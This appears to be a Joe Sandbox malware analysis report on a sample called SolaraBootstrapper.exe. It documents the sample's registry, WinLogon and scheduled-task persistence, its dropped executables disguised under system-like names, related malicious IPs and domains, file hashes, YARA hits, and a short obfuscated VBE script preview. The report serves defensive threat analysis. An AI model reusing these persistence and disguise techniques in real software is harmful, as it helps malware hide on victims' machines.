10:30:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fontreview "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
10:31:04	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run smss "C:\Program Files\Uninstall Information\smss.exe"
10:31:13	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run oiDIGxjWBeQtCtbxHEXanoHsv "C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
10:31:21	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run fontreview "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
10:31:38	Autostart	Run: WinLogon Shell "C:\Program Files\Uninstall Information\smss.exe"
10:31:46	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\internet explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
10:31:55	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
10:32:03	Autostart	Run: WinLogon Shell "C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
16:30:04	Task Scheduler	Run new task: fontreview path: "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
16:30:04	Task Scheduler	Run new task: fontreviewf path: "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
16:30:05	Task Scheduler	Run new task: oiDIGxjWBeQtCtbxHEXanoHsv path: "C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
16:30:05	Task Scheduler	Run new task: oiDIGxjWBeQtCtbxHEXanoHsvo path: "C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
16:30:05	Task Scheduler	Run new task: smss path: "C:\Program Files\Uninstall Information\smss.exe"
16:30:05	Task Scheduler	Run new task: smsss path: "C:\Program Files\Uninstall Information\smss.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	ORDERDATASHEET#PO8738763.scr.exe	Get hash	malicious	AgentTesla, RedLine, SugarDump, XWorm	Browse	ip-api.com/line/?fields=hosting
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Recibo de env#U00edo de DHL_Gu#U00eda de embarque Doc_PRG211003417144356060.PDF.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	pTaRVIqjv4.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	HMDmYqWeDO.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	lhPBE8Svmz.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	9rb5IvX2hG.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	1dwaeI6WKB.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	ip-api.com/json
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	ip-api.com/json
128.116.123.3	https://www.roblox.com.zm/login	Get hash	malicious	Unknown	Browse
128.116.123.3	RobloxPlayerLauncher.exe	Get hash	malicious	Unknown	Browse
140.82.121.4	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	185.199.109.133
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	185.199.109.133
	LeqO0KJkDX.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	LeqO0KJkDX.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	ZED Online.zip	Get hash	malicious	Unknown	Browse	185.199.109.133
	423845.msi	Get hash	malicious	Unknown	Browse	185.199.108.133
	423845.msi	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://github.com/ytisf/theZoo/blob/master/malware/Binaries/Ransomware.WannaCry/Ransomware.WannaCry.zip	Get hash	malicious	Wannacry	Browse	185.199.111.133
	chromeUpdate.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	etnY4xJd3y.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
ip-api.com	ORDERDATASHEET#PO8738763.scr.exe	Get hash	malicious	AgentTesla, RedLine, SugarDump, XWorm	Browse	208.95.112.1
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Recibo de env#U00edo de DHL_Gu#U00eda de embarque Doc_PRG211003417144356060.PDF.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	pTaRVIqjv4.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	HMDmYqWeDO.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	lhPBE8Svmz.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	9rb5IvX2hG.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	1dwaeI6WKB.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	208.95.112.1
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	208.95.112.1
github.com	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	140.82.114.4
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	140.82.121.3
	Microsoft Teams_Firstontariotxt.htm	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	ModStickInjectorV1.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	140.82.121.3
	Loader.exe	Get hash	malicious	Quasar	Browse	140.82.121.4
	http://airtable.com/appj5VIpbxajOmHks/shriuPcM6YsXqcT9G	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://vk.com////away.php?to=https://tracker.club-os.com////campaign/click?msgId=d3xr838c6bd137e6a03157c6c728cbc659e734fc398%26test=false%26target=circuitovtr.com.br/dayo/cezlu/captcha/dGVzdEB0ZXN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	Confirmation For-Certara.pdf	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	https://edworking.com/share/workspace/clxw0fp4e0tq913ofsrqas5ot	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROBLOX-PRODUCTIONUS	RFAwChXSve.exe	Get hash	malicious	DCRat	Browse	128.116.119.3
	oQDQSpA55K.exe	Get hash	malicious	DCRat	Browse	128.116.116.3
	oQDQSpA55K.exe	Get hash	malicious	DCRat	Browse	128.116.116.3
	tFGPgPkxgo.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	128.116.102.4
	https://www.roblox.com.zm/login	Get hash	malicious	Unknown	Browse	128.116.95.3
	https://www.roblox-games.pl/	Get hash	malicious	Unknown	Browse	128.116.95.4
	RobloxPlayerLauncher.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	128.116.102.8
	robloxlauncher.exe	Get hash	malicious	Unknown	Browse	128.116.127.4
	robloxlauncher.exe	Get hash	malicious	Unknown	Browse	128.116.127.4
	robloxlauncher.exe	Get hash	malicious	Unknown	Browse	128.116.127.4
FASTLYUS	_SKM_C590368369060_417161.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://t4ha7.shop/	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://purchase-order-workers-playground-weathered-moon-6962.mslee.workers.dev/	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://pub-a4db5d6837084a76bc5f6d9216e7e57d.r2.dev/a38.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	http://pub-5d5794a1344e4ef09c0d498cb30f8875.r2.dev/index.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://pub-72f4175190054b068a6db1f116f55ca9.r2.dev/index.html	Get hash	malicious	Unknown	Browse	185.199.108.153
	http://pub-5e86a1f01e5a4476812e4d108add0587.r2.dev/index.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	http://pub-49f7bdad3ae7458f8076aa4480203a8b.r2.dev/index.html	Get hash	malicious	Unknown	Browse	185.199.110.153
	http://excelonline.standard.us-east-1.oortech.com/Index.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://page-timefthrturtuj.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.129.16
TUT-ASUS	ORDERDATASHEET#PO8738763.scr.exe	Get hash	malicious	AgentTesla, RedLine, SugarDump, XWorm	Browse	208.95.112.1
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Recibo de env#U00edo de DHL_Gu#U00eda de embarque Doc_PRG211003417144356060.PDF.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	pTaRVIqjv4.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	HMDmYqWeDO.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	lhPBE8Svmz.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	9rb5IvX2hG.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	1dwaeI6WKB.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	208.95.112.1
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	208.95.112.1
GITHUBUS	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	140.82.114.4
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	140.82.121.4
	Microsoft Teams_Firstontariotxt.htm	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	ModStickInjectorV1.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse	140.82.121.3
	Loader.exe	Get hash	malicious	Quasar	Browse	140.82.121.4
	http://airtable.com/appj5VIpbxajOmHks/shriuPcM6YsXqcT9G	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://he110ca11he1lpn0wwb112.pages.dev/	Get hash	malicious	TechSupportScam	Browse	140.82.112.21
	https://vk.com////away.php?to=https://tracker.club-os.com////campaign/click?msgId=d3xr838c6bd137e6a03157c6c728cbc659e734fc398%26test=false%26target=circuitovtr.com.br/dayo/cezlu/captcha/dGVzdEB0ZXN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	Confirmation For-Certara.pdf	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	https://edworking.com/share/workspace/clxw0fp4e0tq913ofsrqas5ot	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	chromeUpdate.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse	185.199.110.133
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	https://kids-copybooks.us17.list-manage.com/track/click?u=5a97ab8972763fb865eff2c7b&id=17a683593e&e=91ca37f411	Get hash	malicious	Unknown	Browse	185.199.110.133
	WAdE7vk6kk.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Filezillawin_94199_patched.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Filezillawin_94199_patched.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	SecuriteInfo.com.Win64.MalwareX-gen.31381.20021.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Adware.Downware.20552.29919.24444.exe	Get hash	malicious	Unknown	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	ORDERDATASHEET#PO8738763.scr.exe	Get hash	malicious	AgentTesla, RedLine, SugarDump, XWorm	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	DHL Shipping Invoice & Awb8289djuejeeoffffdelivery.vbs	Get hash	malicious	GuLoader, Remcos	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	SIPARIS-270624.exe	Get hash	malicious	Unknown	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	RFQ 52165 Materiale vario OENAGROUP.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	New Order Ergun Makina Hirdavat Tic #102718.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	SIPARIS-270624.exe	Get hash	malicious	Unknown	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	38iGnQnL33.exe	Get hash	malicious	BlackMoon, DoublePulsar, ETERNALBLUE, GhostRat	Browse	140.82.121.4 128.116.123.3 185.199.110.133
	TT Fizetesi Bizonylat.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	140.82.121.4 128.116.123.3 185.199.110.133

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\ProgramData\SolaraBootstrapper.exe	QIjBj1l8We.exe	Get hash	malicious	Blank Grabber	Browse
C:\ProgramData\SolaraBootstrapper.exe	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse

Created / dropped Files

C:\Media\3KNj5pJ.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\Boostraper.bat
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.939470570797251
Encrypted:	false
SSDEEP:	3:I5QQD/AAK:IdAAK
MD5:	7E45908823780CF03744E36548EF778A
SHA1:	0988BF98F3EC92139BA1695893CA2AC712CA6B77
SHA-256:	1A6E5542FC446811C85925BF03EC7F495867D284232DA339A23FC8C4B741DF29
SHA-512:	DFB4454BF825B4150E36D837E110D19510E11BCF6A1819B5E73DCB9920E6478368A57733C60F055C9AB83E0103CAD1706A356B57233CE475C6361C49C4A3B2D8
Malicious:	false
Preview:	"C:\Media\fontreview.exe"

C:\Media\TKlkLwYGTbrYwK.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Boostraper.bat
File Type:	data
Category:	dropped
Size (bytes):	186
Entropy (8bit):	5.510471368969785
Encrypted:	false
SSDEEP:	3:G8kkkgKda4qJ/8pOUqHNkLzWbokDjPAKRa4qJ/8pOUqHNkLzWlrgs1zDgEnSOdJV:G1kvwqK+NkLzWbHnPv7qK+NkLzWHXL/t
MD5:	883D110D2A404E5AAAA8C4F25E8D0099
SHA1:	0793C14C1237C6DA5F4456E17B1E617F4660B041
SHA-256:	0E4BE77D728C9046E72857F46DB53646CDBE1244490D5C0AA786EFD2B5DE5E71
SHA-512:	AD244C4FFAD1BE4FA28290409EE735B5C50C41F9BA9B0876E068B3E16C016716D444D7984BAB19DF384D34BC5E5B178743765DB2BC17E0A2E78B9B91FE37C934
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^oQAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2v!b@#@&j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.k4?4+sscIEU~rZlztn9kCJ&n1Llwx 4mYE~,!S~6lVknDDIAAA==^#~@.

C:\Media\fontreview.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Boostraper.bat
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1093120
Entropy (8bit):	6.714255025886609
Encrypted:	false
SSDEEP:	24576:0iVC9ebLMKzsfC9upt8pR1TDwLf99z+bd:7LbkdapRGLfLS
MD5:	D59145E6DDAD7699D0C9C5E1416229F9
SHA1:	BDA54641A52BB99147CF57BCBD6B8048BC3E2D2D
SHA-256:	3D9B74A6BD97A5FA455737B72D8970898527A4478E912B68E9BF9459CCCB7C87
SHA-512:	7E1122C02DDAB5BF333D7B1B89A596419E3D7FE31D30877B17F36AB1E5207127C6D757EEE243DD1C38C51B993F1D2AB2CCC0F266D899FF0A9B7D3A61BF24994C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................t...6.......... ........@.. ....................... ............@.....................................K.................................................................................... ............... ..H............text....r... ...t.................. ..`.sdata.../.......0...x..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Internet Explorer\en-US\1684183673b272

Download File

Process:	C:\Media\fontreview.exe
File Type:	ASCII text, with very long lines (732), with no line terminators
Category:	dropped
Size (bytes):	732
Entropy (8bit):	5.888028092180866
Encrypted:	false
SSDEEP:	12:vmiqk8MEzLmHLNV/wGA45H3bEo3NduwGOSpv2w9o+vowte0oZEXDhcz+lDWtD+0q:8kXEeJyGA4Z/N412w5bx5Vc6dM+w0ikj
MD5:	DB8E4FFF001CC3AB94FF4C7D28D28E36
SHA1:	62251EFF852285D3DB00100ED55B55D0FD229386
SHA-256:	BE871983F9CE6EF4BE546E03CA4D8EF48049581717B6AA29F22D0C9F5860709D
SHA-512:	479ECAE6875BAD0C3153319D2178E1FF7329CE15305E70620D912CBE29F29C091A19DF662B561333889B5B68BB187202E8FA933EF184CD71B59FB7B807F6BD02
Malicious:	false
Preview:	XWnY8Rr0vdaZVND9shmG7oh5Fim4MN4qxJJ9HZf7C855voLPIbEmolwsyrTaowoiiulMED1SBpD8tmJaWWwuJRCLXaLaGFSPTXWBC9LFkwl8hx9Mh2DS94ZQsZzo1bL5WxpWPIXXLrKWqDojb82NBAQZ7FSnJgNIkpmtHm6ZeqGRtCkpvPM3i84WhQYJzuNoeBwBb4cyCdsV38p5fn14UTkluPM1NwjuccxsPiO1xX0FPjdikdoL3TUKbKRLrklP382aL7p7Z9G6cfWLvnRuIY0JImQFRCJMwlLQqDXmxqv3MXr6yFaES0GfIsSjqkqX03K1TFesQo7cm77u4UQLmF36fpI8ux6MAYCSN0mskrxo3o3KvhoVTevv9NVo7g7csubO4ohEsil4SPC1w7MNJk3fmRS9e8uDtU6IMpQH9knv31cuKe19UuTH16lmVijuxhK7T3oHqFNj7ImvyiyAGvt9BzRQDovbA27VqfbRzuSPgtJtT0xxtinCyL6emYECTviEKQETGhLWcdcRpi6M07sbP4hei7oaqQ5vLEiCvdrMXRkUtpyDb1LWDHzQtkuJ2upMiqGkA4bXQfE7UMv3Il8yEjrDPSSLshTmlYwCjODhayGhC16hz1ARv0H99CUrlPosMbV5asT4hbYPcJAXWvW1gC1uQxCh3V6KKXVlgAHGhGtUc1g0B7Vz3xLKjlpmpwBLeOFFyZ1VoPTaSgSYRMg5AGQW

C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe

Download File

Process:	C:\Media\fontreview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1093120
Entropy (8bit):	6.714255025886609
Encrypted:	false
SSDEEP:	24576:0iVC9ebLMKzsfC9upt8pR1TDwLf99z+bd:7LbkdapRGLfLS
MD5:	D59145E6DDAD7699D0C9C5E1416229F9
SHA1:	BDA54641A52BB99147CF57BCBD6B8048BC3E2D2D
SHA-256:	3D9B74A6BD97A5FA455737B72D8970898527A4478E912B68E9BF9459CCCB7C87
SHA-512:	7E1122C02DDAB5BF333D7B1B89A596419E3D7FE31D30877B17F36AB1E5207127C6D757EEE243DD1C38C51B993F1D2AB2CCC0F266D899FF0A9B7D3A61BF24994C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................t...6.......... ........@.. ....................... ............@.....................................K.................................................................................... ............... ..H............text....r... ...t.................. ..`.sdata.../.......0...x..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\38ea5f8cd4c1b7

Download File

Process:	C:\Media\fontreview.exe
File Type:	ASCII text, with very long lines (559), with no line terminators
Category:	dropped
Size (bytes):	559
Entropy (8bit):	5.87187349457577
Encrypted:	false
SSDEEP:	12:fODJCO45Kxpb8PLj3asADIDDnYxQ0F7txEz/:fODS8xkjKsoI/nYmLb
MD5:	707DDC40BCFD56B8DBDEEED8CFE1BDE1
SHA1:	3F91CFB7ABBFA012CD49DD81AC55D9EF0F476F7E
SHA-256:	85709B1558F22D482E9C1248060F5395454C24793D5306A34C766DDCDB06DF5F
SHA-512:	F696C1EC927FE7A0BE0230B1C3A039D6DEB435650E039F1C5B852B1A754F03C347B25CAC6223B5162D71621A3C524DF9E98C53F012CE4792903E493FE0A1135E
Malicious:	false
Preview:	zOwaClFAKodu1DSQVcQFLY7s3mX6AKxiWtqEm0K4zA6m2aT8mEJ8e8WbQDgZOJ9A05YHWNneRWQLbVzdSYT5AzDXWPxiUvpqA5v7CLlYaoqIsL95ODGzzD9B2BvGZFKgqjKgk2bHw5fVI5oLP2UQoz076tEAaf8VeKbIAdVVm9C4in37Wj0hu321tNj0xaqR6J18dgKwh9opx5YTzHo0obklRkZx3ehMSu8Yw5dzZE9vPMExzQAqvznfiQq3HX2CbbWC79h4nybjbzVFgl7ne1bcHdzgPjsBL7UxzBzztFC6YDDt4lXfZOikA45eJBpEGaXefhPevI4YyeEDZGloMMm7Ytx5GVpsa808qjOWV3uRUJvf01EDZB13xaFvuUXacM70oGX01OSTcVmO8RFOQmSZG7KPddmBfUyIM51ueOLKsiacy0xdPIJ03htr5HXYmQxIgeCCZUtCaIrigramqIwWK7OoLKyX1whbuR6TyuD4ZHZv0KKOquseda8jQY0PgWKokPxOvHy5F27ChdxA9jqGDD8TTWDZ3xXC6vLlX5dj5wY

C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe

Download File

Process:	C:\Media\fontreview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1093120
Entropy (8bit):	6.714255025886609
Encrypted:	false
SSDEEP:	24576:0iVC9ebLMKzsfC9upt8pR1TDwLf99z+bd:7LbkdapRGLfLS
MD5:	D59145E6DDAD7699D0C9C5E1416229F9
SHA1:	BDA54641A52BB99147CF57BCBD6B8048BC3E2D2D
SHA-256:	3D9B74A6BD97A5FA455737B72D8970898527A4478E912B68E9BF9459CCCB7C87
SHA-512:	7E1122C02DDAB5BF333D7B1B89A596419E3D7FE31D30877B17F36AB1E5207127C6D757EEE243DD1C38C51B993F1D2AB2CCC0F266D899FF0A9B7D3A61BF24994C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................t...6.......... ........@.. ....................... ............@.....................................K.................................................................................... ............... ..H............text....r... ...t.................. ..`.sdata.../.......0...x..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Uninstall Information\69ddcba757bf72

Download File

Process:	C:\Media\fontreview.exe
File Type:	ASCII text, with very long lines (614), with no line terminators
Category:	dropped
Size (bytes):	614
Entropy (8bit):	5.880150165372266
Encrypted:	false
SSDEEP:	12:xW/LVDAjFkzp8DveE8+Rd7GCTTsUIpP3oyJTIsFC92tdhlz6GkAQTjZBN+tY:xgVDAhkkveE8+RFGQiJ3cD92TW80jDU6
MD5:	D9E4A8E9CE3BF171787F304305D33231
SHA1:	972995064911E5D6162D4D2C57BE47064D964838
SHA-256:	9D09ABE4772ACF5780A352EA7B9DEA786582BFFE193677B7BD0CDF4044B09BA1
SHA-512:	085AF97C827E4F5EEE1726C387B7F4D19A73AFEFD4DBBD9AC71CB343EEA5673A354826CAE24C7EAB131D6844B06F2392FDA7ACBABA69B3543DE51E78FA9406E9
Malicious:	false
Preview:	FpvZiA27uIaCjPFsl1QpMyuB66Q826UXRAQMNZZp5qhoIWq2NhqjOGZR4udlu3EyxDui93fMcktfRG2jPXuVPuIKl8Rd6x5Bls0FmI3UCeGoX3Ay13VWJtiD4k6AlBQpos3iQw7HeaSvnexr8dlCbj22KxLBL3sAOb9o9ciE6O2tbxZaxPCIaNOEzBXdl56lrShMeIrf4gGNrIbWXvO60kkAN5z8EEdARQCIQM5ohgN3HAXqkBF0rAuGrg9jTtbzDG5aGSGKzkZTXq3MhIYD9mTRg5atNWVxFXzBF7kS44AHkatBnwBLVY0axn4K1X7cOlO911GkhFIFmLqFMZFaUJbrhYObDZah7h29MuJwpbnPPvyl6y8bRgIFJgccnphIokIETr3cQTv3gMbwkmeOa9QaZxzpSrIA4fkontRP5gL7vOi7Ep2AKSrpUrpg2NKiLu9BlxJ0VPT4ySpKO1kmzH0lx5U5EuWsWmwAPhWRgBp49x0CBeSBmhtD3XNpdNvk2lhLfo5qeTFxc6mAER3kcVFy2tG1TryTPEBYPphWilgTc6k7vNkLTLHgftSviEXxevhX4OuZugB1zwV6IJFFGn9E6f2gWvyeOtzrYM

C:\Program Files\Uninstall Information\smss.exe

Download File

Process:	C:\Media\fontreview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1093120
Entropy (8bit):	6.714255025886609
Encrypted:	false
SSDEEP:	24576:0iVC9ebLMKzsfC9upt8pR1TDwLf99z+bd:7LbkdapRGLfLS
MD5:	D59145E6DDAD7699D0C9C5E1416229F9
SHA1:	BDA54641A52BB99147CF57BCBD6B8048BC3E2D2D
SHA-256:	3D9B74A6BD97A5FA455737B72D8970898527A4478E912B68E9BF9459CCCB7C87
SHA-512:	7E1122C02DDAB5BF333D7B1B89A596419E3D7FE31D30877B17F36AB1E5207127C6D757EEE243DD1C38C51B993F1D2AB2CCC0F266D899FF0A9B7D3A61BF24994C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................t...6.......... ........@.. ....................... ............@.....................................K.................................................................................... ............... ..H............text....r... ...t.................. ..`.sdata.../.......0...x..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Bootstrapper.exe

Download File

Process:	C:\Users\user\Desktop\SolaraBootstrapper.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	128000
Entropy (8bit):	6.263935268507762
Encrypted:	false
SSDEEP:	3072:n7G9JEV05ddtTonAky8ZMydhkbHOQy/5uoZr:7G8VGunAaZD+OQ20+
MD5:	38ABADB644A721C6526C13781F034F3C
SHA1:	73D1C05BE000E6DCA09C3B0C68CCBD26EA8BA284
SHA-256:	BA5DAB0BAB062CEF4292800E49D1910E455A11628481782EF18B7A0A76D492C3
SHA-512:	FF7EC8BA0692B0E7849F1342C6B9547E2677A7F96D7C7F53C10D4EF1B828F64437AB826CA0932BB1B86770815EABC72AD7D8C38EDFCC4C3040E350BBAEA4DDD3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\Bootstrapper.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\ProgramData\Bootstrapper.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\Bootstrapper.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L.....}f...............I..........................@.......................... ......U................................................................................................................................................................text............................... ..`.idata..............................@....rsrc...............................@..@.....................j.....B......w..U.L...........x......}..s..].........h....:..^.}.;........E.....B.......2......... 